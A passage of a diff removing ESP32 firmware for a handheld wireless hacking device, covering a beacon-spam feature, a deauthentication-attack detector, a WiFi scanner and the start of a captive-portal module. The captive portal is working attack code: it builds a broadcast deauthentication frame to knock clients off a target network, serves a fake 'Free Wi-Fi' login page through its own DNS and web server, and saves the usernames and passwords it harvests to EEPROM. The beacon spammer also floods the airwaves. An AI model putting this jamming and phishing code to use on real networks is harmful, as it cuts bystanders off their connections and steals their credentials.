x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 4) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void beaconSpamSetup() { - - tft.fillScreen(TFT_BLACK); - - setupTouchscreen(); - - tft.setTextFont(1); - tft.setTextSize(1); - tft.setTextColor(TFT_YELLOW, TFT_BLACK); - tft.setCursor(2, 30 + y_offset); - - esp_err_t err; - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - err = esp_wifi_init(&cfg); - if (err != ESP_OK) Serial.printf("WiFi init failed: %d\n", err); - - err = esp_wifi_set_storage(WIFI_STORAGE_RAM); - if (err != ESP_OK) Serial.printf("Storage set failed: %d\n", err); - - err = esp_wifi_set_mode(WIFI_MODE_AP); - if (err != ESP_OK) Serial.printf("Mode set failed: %d\n", err); - - err = esp_wifi_start(); - if (err != ESP_OK) Serial.printf("WiFi start failed: %d\n", err); - - err = esp_wifi_set_promiscuous(true); - if (err != ESP_OK) Serial.printf("Promiscuous set failed: %d\n", err); - - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - - tft.print("[!] Press [UP] to start"); - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - - lastSpamChannel = 0xFF; - lastSpamState = !spam; - - uiDrawn = false; - tft.fillRect(0, 20, 120, 16, DARK_GRAY); -} - -void beaconSpamLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - runUI(); - updateStatusBar(); - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - btnLeftPress = !pcf.digitalRead(BTN_LEFT); - btnRightPress = !pcf.digitalRead(BTN_RIGHT); - btnSelectPress = !pcf.digitalRead(BTN_UP); - - delay(10); - - if (btnLeftPress) { - handleLeftButton(); - delay(200); - } - if (btnRightPress) { - handleRightButton(); - delay(200); - } - if (btnSelectPress) { - handleSelectButton(); - delay(200); - } - - if (lastSpamChannel != spamchannel || lastSpamState != spam) { - tft.setTextFont(1); - tft.fillRect(35, 20, 95, 16, DARK_GRAY); - tft.setTextColor(TFT_WHITE, DARK_GRAY); - tft.setTextSize(1); - - tft.setCursor(35, 24); - tft.print("Ch:"); - tft.print(spamchannel); - - tft.setCursor(70, 24); - tft.print(spam ? "Enabled " : "Disabled"); - - lastSpamChannel = spamchannel; - lastSpamState = spam; - } - - while (spam) { - runUI(); - if (feature_exit_requested) { - spam = false; - break; - } - - spammer(); - - if (btnSelectPress) { - output(); - } - - if (pcf.digitalRead(BTN_UP)) { - delay(50); - break; - } - } -} -} - -namespace DeauthDetect { - -#define SCREEN_HEIGHT 280 -#define LINE_HEIGHT 12 -#define MAX_LINES (SCREEN_HEIGHT / LINE_HEIGHT) - -#define MAX_NETWORKS 50 -#define MAX_CHANNELS 14 -#define MAX_SSID_LENGTH 8 - -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 2 - -bool stopScan = false; -bool exitMode = false; - -String terminalBuffer[MAX_LINES]; -uint16_t colorBuffer[MAX_LINES]; -int lineIndex = 0; - -int deauth[MAX_NETWORKS] = {0}; -String ssidLists[MAX_NETWORKS]; -uint8_t macList[MAX_NETWORKS][6]; - -TaskHandle_t wifiScanTaskHandle = NULL; -TaskHandle_t uiTaskHandle = NULL; -TaskHandle_t statusBarTaskHandle = NULL; - -SemaphoreHandle_t tftSemaphore; - -static int iconX[ICON_NUM] = {210, 10}; -static int iconY = STATUS_BAR_Y_OFFSET; -static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_power, - bitmap_icon_go_back -}; - -void scrollTerminal() { - for (int i = 0; i < MAX_LINES - 1; i++) { - terminalBuffer[i] = terminalBuffer[i + 1]; - colorBuffer[i] = colorBuffer[i + 1]; - } -} - -void displayPrint(String text, uint16_t color, bool extraSpace = false) { - if (lineIndex >= MAX_LINES - 1) { - scrollTerminal(); - lineIndex = MAX_LINES - 1; - } - - terminalBuffer[lineIndex] = text; - colorBuffer[lineIndex] = color; - lineIndex++; - - if (extraSpace && lineIndex < MAX_LINES) { - terminalBuffer[lineIndex] = ""; - colorBuffer[lineIndex] = TFT_WHITE; - lineIndex++; - } - - for (int i = 0; i < lineIndex; i++) { - int yPos = i * LINE_HEIGHT + 45; - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(5, yPos, tft.width() - 10, LINE_HEIGHT, TFT_BLACK); - tft.setTextColor(colorBuffer[i], TFT_BLACK); - tft.setCursor(5, yPos); - tft.print(terminalBuffer[i]); - } -} - -void checkButtonPress() { - if (!pcf.digitalRead(BTN_UP)) { - vTaskDelay(200 / portTICK_PERIOD_MS); - if (!stopScan) { - stopScan = true; - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!] Scanning Stopped", UI_WARN, true); - displayPrint("[!] Press [Select] to Exit", UI_WARN, false); - xSemaphoreGive(tftSemaphore); - } else { - exitMode = true; - } - } -} - -void snifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (stopScan || exitMode) return; - - wifi_promiscuous_pkt_t* packet = (wifi_promiscuous_pkt_t*) buf; - uint8_t* payload = packet->payload; - - if (type == WIFI_PKT_MGMT) { - uint8_t frameType = payload[0]; - - if (frameType == 0xC0) { - uint8_t senderMAC[6]; - memcpy(senderMAC, payload + 10, 6); - - for (int i = 0; i < MAX_NETWORKS; i++) { - if (memcmp(senderMAC, macList[i], 6) == 0) { - deauth[i]++; - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!] Deauth Attack on: " + ssidLists[i], UI_WARN, true); - xSemaphoreGive(tftSemaphore); - break; - } - } - } - } -} - -void analyzeNetworks(int n) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[*] Checking for Suspicious Networks", TFT_CYAN, true); - xSemaphoreGive(tftSemaphore); - - for (int i = 0; i < n; i++) { - checkButtonPress(); - if (exitMode) return; - - bool isDuplicate = false; - bool isHidden = (ssidLists[i] == ""); - bool isWeirdChannel = WiFi.channel(i) > 13; - - for (int j = 0; j < n; j++) { - if (i != j && ssidLists[i] == ssidLists[j] && memcmp(macList[i], macList[j], 6) != 0) { - isDuplicate = true; - break; - } - } - - if (isHidden) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!] Hidden SSID Detected!", TFT_YELLOW, true); - xSemaphoreGive(tftSemaphore); - } - if (isDuplicate) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!] Evil Twin: " + ssidLists[i], TFT_YELLOW, true); - xSemaphoreGive(tftSemaphore); - } - if (isWeirdChannel) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!] Non-Standard Channel: " + String(WiFi.channel(i)), TFT_YELLOW, true); - xSemaphoreGive(tftSemaphore); - } - - if (deauth[i] > 5) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[!!!] HIGH DEAUTH ATTACK on " + ssidLists[i] + " (" + String(deauth[i]) + " attacks)", UI_WARN, true); - xSemaphoreGive(tftSemaphore); - } - } -} - -void scanWiFiTask(void *param) { - while (1) { - checkButtonPress(); - if (exitMode) { - vTaskDelay(10 / portTICK_PERIOD_MS); - break; - } - if (stopScan) { - vTaskDelay(10 / portTICK_PERIOD_MS); - continue; - } - - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[*] Scanning WiFi networks", TFT_CYAN, true); - xSemaphoreGive(tftSemaphore); - - int n = WiFi.scanNetworks(); - if (exitMode) { - vTaskDelay(10 / portTICK_PERIOD_MS); - break; - } - if (stopScan) { - vTaskDelay(10 / portTICK_PERIOD_MS); - continue; - } - - for (int i = 0; i < n && i < MAX_NETWORKS; i++) { - String fullSSID = WiFi.SSID(i); - ssidLists[i] = fullSSID.substring(0, MAX_SSID_LENGTH); - const uint8_t *bssid = WiFi.BSSID(i); - memcpy(macList[i], bssid, 6); - - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - displayPrint("[+] " + ssidLists[i] + (fullSSID.length() > MAX_SSID_LENGTH ? "..." : "") + - " | CH: " + String(WiFi.channel(i)) + - " | RSSI: " + String(WiFi.RSSI(i)), TFT_WHITE); - xSemaphoreGive(tftSemaphore); - - if (exitMode) { - vTaskDelay(10 / portTICK_PERIOD_MS); - break; - } - if (stopScan) { - vTaskDelay(10 / portTICK_PERIOD_MS); - break; - } - } - analyzeNetworks(n); - vTaskDelay(5000 / portTICK_PERIOD_MS); - } - wifiScanTaskHandle = NULL; - vTaskDelete(NULL); -} - -static bool uiDrawn = false; - -void runUI() { - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_start, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.setTextFont(1); - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - tft.setTextColor(TFT_WHITE); - tft.setTextSize(1); - tft.setCursor(35, 24); - tft.print("Scanning WiFi"); - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(140, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 140, STATUS_BAR_HEIGHT, DARK_GRAY); - - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - - switch (activeIcon) { - case 0: - displayPrint("[!] Scanning Stopped", UI_WARN, true); - displayPrint("[!] Press [Select] to Exit", UI_WARN, false); - stopScan = true; - animationState = 0; - activeIcon = -1; - break; - } - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 1) { - displayPrint("[!] Scanning Stopped", UI_WARN, true); - stopScan = true; - exitMode = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void uiTask(void *param) { - while (1) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - runUI(); - xSemaphoreGive(tftSemaphore); - vTaskDelay(50 / portTICK_PERIOD_MS); - } -} - -void statusBarTask(void *param) { - while (1) { - xSemaphoreTake(tftSemaphore, portMAX_DELAY); - updateStatusBar(); - xSemaphoreGive(tftSemaphore); - vTaskDelay(1000 / portTICK_PERIOD_MS); - } -} - -void deauthdetectSetup() { - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - - esp_wifi_set_promiscuous(true); - esp_wifi_set_promiscuous_rx_cb(snifferCallback); - - tft.fillScreen(TFT_BLACK); - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - - setupTouchscreen(); - - tftSemaphore = xSemaphoreCreateMutex(); - - xTaskCreate(scanWiFiTask, "WiFiScanTask", 4096, NULL, 1, &wifiScanTaskHandle); - xTaskCreate(uiTask, "UITask", 4096, NULL, 2, &uiTaskHandle); - xTaskCreate(statusBarTask, "StatusBarTask", 2048, NULL, 1, &statusBarTaskHandle); - - uiDrawn = false; -} - -void deauthdetectLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - stopScan = true; - exitMode = true; - } - - checkButtonPress(); - - if (stopScan || exitMode) { - - if (wifiScanTaskHandle != NULL) { - vTaskDelete(wifiScanTaskHandle); - wifiScanTaskHandle = NULL; - } - if (uiTaskHandle != NULL) { - vTaskDelete(uiTaskHandle); - uiTaskHandle = NULL; - } - if (statusBarTaskHandle != NULL) { - vTaskDelete(statusBarTaskHandle); - statusBarTaskHandle = NULL; - } - - esp_wifi_set_promiscuous(false); - WiFi.disconnect(); - stopScan = false; - exitMode = false; - lineIndex = 0; - delay(10); - - feature_exit_requested = true; - } -} -} - -namespace WifiScan { - -#define TFT_WIDTH 240 -#define TFT_HEIGHT 320 - -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 2 - -int currentIndex = 0; -int listStartIndex = 0; -bool isDetailView = false; -bool isScanning = false; -bool exitRequested = false; - -static TaskHandle_t bgScanTaskHandle = nullptr; -static volatile bool bgHasResults = false; -static volatile uint32_t bgLastScanMs = 0; -static const uint32_t BG_SCAN_INTERVAL_MS = 15000; - -static const uint32_t BG_BOOT_GRACE_MS = 6000; -static volatile bool bgScanRunning = false; -static uint32_t bgBootMs = 0; - -static void bgWifiScanTask(void* ) { - for (;;) { - const uint32_t now = millis(); - if (bgBootMs == 0) bgBootMs = now; - - const bool idleOk = (now - bgBootMs) > BG_BOOT_GRACE_MS; - if (settings().autoWifiScan && idleOk && !feature_active && !in_sub_menu) { - - if (!bgScanRunning) { - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - WiFi.scanDelete(); - int ret = WiFi.scanNetworks(true, true); - - bgScanRunning = (ret == WIFI_SCAN_RUNNING); - if (ret >= 0) { - - bgHasResults = true; - bgLastScanMs = now; - vTaskDelay(BG_SCAN_INTERVAL_MS / portTICK_PERIOD_MS); - } else if (!bgScanRunning) { - - vTaskDelay(2000 / portTICK_PERIOD_MS); - } else { - vTaskDelay(250 / portTICK_PERIOD_MS); - } - } else { - int n = WiFi.scanComplete(); - if (n >= 0) { - bgHasResults = true; - bgLastScanMs = now; - bgScanRunning = false; - vTaskDelay(BG_SCAN_INTERVAL_MS / portTICK_PERIOD_MS); - } else if (n == WIFI_SCAN_FAILED) { - bgScanRunning = false; - WiFi.scanDelete(); - vTaskDelay(2000 / portTICK_PERIOD_MS); - } else { - - vTaskDelay(250 / portTICK_PERIOD_MS); - } - } - } else { - - bgScanRunning = false; - vTaskDelay(1000 / portTICK_PERIOD_MS); - } - } -} - -void startBackgroundScanner() { - if (bgScanTaskHandle != nullptr) return; - xTaskCreatePinnedToCore( - bgWifiScanTask, - "bgWifiScan", - 4096, - nullptr, - 1, - &bgScanTaskHandle, - 0 - ); -} - -int getLastCount() { - - if (!settings().autoWifiScan) return 0; - int n = WiFi.scanComplete(); - return (n < 0) ? 0 : n; -} - -unsigned long scan_StartTime = 0; -const unsigned long scanTimeout = 2000; -unsigned long lastButtonPress = 0; -const unsigned long debounceTime = 200; - -#define MAX_SSID_LENGTH 10 -#define LIST_TOP (STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT + 15) -#define LIST_ITEM_HEIGHT 18 -#define MAX_VISIBLE_ITEMS 14 - -static bool uiDrawn = false; - -static int iconX[ICON_NUM] = {210, 10}; -static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_undo, - bitmap_icon_go_back -}; - -void displayWiFiList(bool fullRedraw = false) { - uiDrawn = false; - int networkCount = WiFi.scanComplete(); - - if (fullRedraw || networkCount <= 0) { - tft.fillRect(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, TFT_WIDTH, TFT_HEIGHT - (STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT), TFT_BLACK); - - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - tft.setTextColor(TFT_WHITE); - tft.setCursor(35, 24); - tft.print("WiFi Networks:"); - - if (networkCount <= 0) { - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - tft.setTextColor(TFT_WHITE); - tft.setCursor(5, 24); - tft.print("No Networks Found"); - return; - } - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - - for (int i = 0; i < MAX_VISIBLE_ITEMS; i++) { - int currentNetworkIndex = i + listStartIndex; - if (currentNetworkIndex >= networkCount) break; - - String fullSSID = WiFi.SSID(currentNetworkIndex); - String ssid = fullSSID.substring(0, MAX_SSID_LENGTH); - int rssi = WiFi.RSSI(currentNetworkIndex); - int yPos = LIST_TOP + i * LIST_ITEM_HEIGHT; - - if (currentNetworkIndex == currentIndex) { - tft.setTextColor(ORANGE, TFT_BLACK); - tft.setCursor(10, yPos); - tft.print("> "); - } else { - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, yPos); - tft.print(" "); - } - - tft.setCursor(25, yPos); - tft.print(ssid); - if (fullSSID.length() > MAX_SSID_LENGTH) tft.print("..."); - tft.print(" | RSSI: "); - tft.print(rssi); - } - } else { - for (int i = 0; i < MAX_VISIBLE_ITEMS; i++) { - int currentNetworkIndex = i + listStartIndex; - if (currentNetworkIndex >= networkCount) break; - - if (currentNetworkIndex == currentIndex || currentNetworkIndex == currentIndex + 1 || currentNetworkIndex == currentIndex - 1) { - String fullSSID = WiFi.SSID(currentNetworkIndex); - String ssid = fullSSID.substring(0, MAX_SSID_LENGTH); - int rssi = WiFi.RSSI(currentNetworkIndex); - int yPos = LIST_TOP + i * LIST_ITEM_HEIGHT; - - tft.fillRect(0, yPos - 2, TFT_WIDTH, LIST_ITEM_HEIGHT, TFT_BLACK); - - if (currentNetworkIndex == currentIndex) { - tft.setTextColor(ORANGE, TFT_BLACK); - tft.setCursor(10, yPos); - tft.print("> "); - } else { - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, yPos); - tft.print(" "); - } - - tft.setCursor(25, yPos); - tft.print(ssid); - if (fullSSID.length() > MAX_SSID_LENGTH) tft.print("..."); - tft.print(" | RSSI: "); - tft.print(rssi); - } - } - } -} - -void displayScanning() { - uiDrawn = false; - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 25); - tft.print("[*] Scanning"); - - for (int i = 0; i < 2; i++) { - for (int j = 0; j <= i; j++) { - tft.print("."); - delay(500); - } - } - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 35); - tft.print("[+] Scan complete!"); - - delay(100); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 55); - tft.print("[+] Wait a moment"); - isScanning = false; -} - -void startWiFiScan() { - displayScanning(); - - scan_StartTime = millis(); - isScanning = true; - exitRequested = false; - - int numNetworks = WiFi.scanNetworks(false, true); - - isScanning = false; - - if (numNetworks >= 0) { - bgHasResults = true; - bgLastScanMs = millis(); - } - - displayWiFiList(true); -} - -void displayWiFiDetails() { - uiDrawn = false; - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - String ssid = WiFi.SSID(currentIndex); - String bssid = WiFi.BSSIDstr(currentIndex); - int rssi = WiFi.RSSI(currentIndex); - int channel = WiFi.channel(currentIndex); - int encryption = WiFi.encryptionType(currentIndex); - bool isHidden = (ssid.length() == 0); - int y_shift = 0; - - float signalQuality = constrain(2 * (rssi + 100), 0, 100); - float estimatedDistance = pow(10.0, (-69.0 - rssi) / (10.0 * 2.0)); - - String encryptionType; - switch (encryption) { - case WIFI_AUTH_OPEN: encryptionType = "Open"; break; - case WIFI_AUTH_WEP: encryptionType = "WEP"; break; - case WIFI_AUTH_WPA_PSK: encryptionType = "WPA"; break; - case WIFI_AUTH_WPA2_PSK: encryptionType = "WPA2"; break; - case WIFI_AUTH_WPA_WPA2_PSK: encryptionType = "WPA/WPA2"; break; - case WIFI_AUTH_WPA2_ENTERPRISE: encryptionType = "WPA2-Ent"; break; - default: encryptionType = "Unknown"; break; - } - - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - tft.setTextColor(TFT_WHITE); - tft.setCursor(35, 24); - tft.print("Network Details:"); - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 35 + y_shift); - tft.print("SSID: "); tft.print(isHidden ? "(Hidden)" : ssid); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 55 + y_shift); - tft.print("BSSID: "); tft.print(bssid); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 75 + y_shift); - tft.print("RSSI: "); tft.print(rssi); tft.print(" dBm"); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 95 + y_shift); - tft.print("Signal: "); tft.print(signalQuality); tft.print("%"); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 115 + y_shift); - tft.print("Channel: "); tft.print(channel); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 135 + y_shift); - tft.print("Encryption: "); tft.print(encryptionType); - - tft.setCursor(10, STATUS_BAR_Y_OFFSET + 155 + y_shift); - tft.print("Est. Distance: "); tft.print(estimatedDistance, 1); tft.print("m"); -} - -void handleButton() { - unsigned long currentMillis = millis(); - if (currentMillis - lastButtonPress < debounceTime) return; - - bool updated = false; - - if (!pcf.digitalRead(BTN_UP)) { - if (!isDetailView && currentIndex > 0) { - currentIndex--; - delay(200); - if (currentIndex < listStartIndex) listStartIndex--; - updated = true; - } - lastButtonPress = currentMillis; - } - - if (!pcf.digitalRead(BTN_DOWN)) { - if (!isDetailView && currentIndex < WiFi.scanComplete() - 1) { - currentIndex++; - delay(200); - if (currentIndex >= listStartIndex + MAX_VISIBLE_ITEMS) listStartIndex++; - updated = true; - } - lastButtonPress = currentMillis; - } - - if (!pcf.digitalRead(BTN_RIGHT)) { - delay(200); - if (!isScanning) { - isDetailView = !isDetailView; - updated = true; - } - lastButtonPress = currentMillis; - } - - if (!pcf.digitalRead(BTN_LEFT)) { - delay(200); - if (isDetailView) { - isDetailView = false; - } else if (!isScanning) { - startWiFiScan(); - } - updated = true; - lastButtonPress = currentMillis; - } - - if (updated) { - if (isDetailView) displayWiFiDetails(); - else displayWiFiList(); - } -} - -void runUI() { - - static int iconY = STATUS_BAR_Y_OFFSET; - - if (!uiDrawn) { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(140, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 140, STATUS_BAR_HEIGHT, DARK_GRAY); - - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - - switch (activeIcon) { - case 0: - if (!isScanning) { - startWiFiScan(); - } - break; - } - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 1) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void wifiscanSetup() { - - tft.fillScreen(TFT_BLACK); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.fillRect(0, 20, 140, 16, DARK_GRAY); - - uiDrawn = false; - - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - - setupTouchscreen(); - - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - - int existing = WiFi.scanComplete(); - if (existing >= 0 && bgHasResults) { - displayWiFiList(true); - } else { - startWiFiScan(); - } - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - runUI(); -} - -void wifiscanLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - static bool lastDetailView = false; - static bool lastScanning = true; - - handleButton(); - runUI(); - updateStatusBar(); - - if (isScanning) { - if (!lastScanning) { - displayScanning(); - lastScanning = true; - } - } else if (!isDetailView) { - if (lastDetailView || lastScanning) { - displayWiFiList(true); - } - lastDetailView = false; - lastScanning = false; - } else { - if (!lastDetailView) { - displayWiFiDetails(); - } - lastDetailView = true; - } - } -} - -namespace CaptivePortal { - -const char* default_ssid = "ESP32DIV_AP"; -char custom_ssid[32] = "ESP32DIV_AP"; -const char* password = NULL; - -static uint8_t ap_channel = 1; - -static bool cp_deauth_active = false; -static wifi_ap_record_t cp_target_ap; -static uint8_t cp_target_channel; -static uint32_t cp_deauth_packet_count = 0; -static uint32_t cp_deauth_success_count = 0; -static unsigned long cp_last_deauth_time = 0; - -static uint8_t cp_deauth_frame_default[26] = { - 0xC0, 0x00, - 0x00, 0x00, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x00, 0x00, - 0x01, 0x00 -}; -static uint8_t cp_deauth_frame[sizeof(cp_deauth_frame_default)]; -DNSServer dnsServer; -const byte DNS_PORT = 53; -WebServer server(80); - -bool attackActive = false; - -static void stopAttack(); -static void startAttack(); -void drawMainMenu(); - -#define EEPROM_SIZE 1440 -#define SSID_ADDR 0 -#define CRED_ADDR 32 -#define COUNT_ADDR 1248 -#define MAX_CREDS 20 -#define CRED_SIZE 64 - -String terminalBuffer[MAX_LINES]; -uint16_t colorBuffer[MAX_LINES]; -int lineIndex = 0; - -struct Credential { - char username[16]; - char password[16]; - char ssid[32]; -}; - -enum Screen { MAIN_MENU, KEYBOARD, CRED_LIST }; -Screen currentScreen = MAIN_MENU; -int credPage = 0; - -bool keyboardActive = false; -String inputSSID = ""; -const int keyWidth = 22; -const int keyHeight = 18; -const int keySpacing = 2; -const char* keyboardLayout[] = { - "1234567890", - "qwertyuiop", - "asdfghjkl ", - "zxcvbnm_<-" -}; -bool cursorState = false; -unsigned long lastCursorToggle = 0; - -const char* seriesSSIDs[] = {"ESP32DIV_AP", "FreeWiFi", "Loading..."}; -const int numSeriesSSIDs = 3; -int seriesSSIDIndex = 0; - -String loginPage = R"( - - - - Wi-Fi Login - - - - - - - -
-

Free Wi-Fi

-

Log in to connect.

-
-
-
- -
-
- - -)"; - -void scrollTerminal() { - for (int i = 0; i < MAX_LINES - 1; i++) { - terminalBuffer[i] = terminalBuffer[i + 1]; - colorBuffer[i] = colorBuffer[i + 1]; - } -} - -void displayPrint(String text, uint16_t color, bool extraSpace = false) { - if (lineIndex >= MAX_LINES - 1) { - scrollTerminal(); - lineIndex = MAX_LINES - 1; - } - - terminalBuffer[lineIndex] = text; - colorBuffer[lineIndex] = color; - lineIndex++; - - if (extraSpace && lineIndex < MAX_LINES) { - terminalBuffer[lineIndex] = ""; - colorBuffer[lineIndex] = TFT_WHITE; - lineIndex++; - } - - for (int i = 0; i < lineIndex; i++) { - int yPos = i * LINE_HEIGHT + 45; - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(5, yPos, tft.width() - 10, LINE_HEIGHT, TFT_BLACK); - tft.setTextColor(colorBuffer[i], TFT_BLACK); - tft.setCursor(5, yPos); - tft.print(terminalBuffer[i]); - } -} - -void saveCredential(String username, String password, String ssid) { - Credential cred; - strncpy(cred.username, username.c_str(), 15); - cred.username[15] = '\0'; - strncpy(cred.password, password.c_str(), 15); - cred.password[15] = '\0'; - 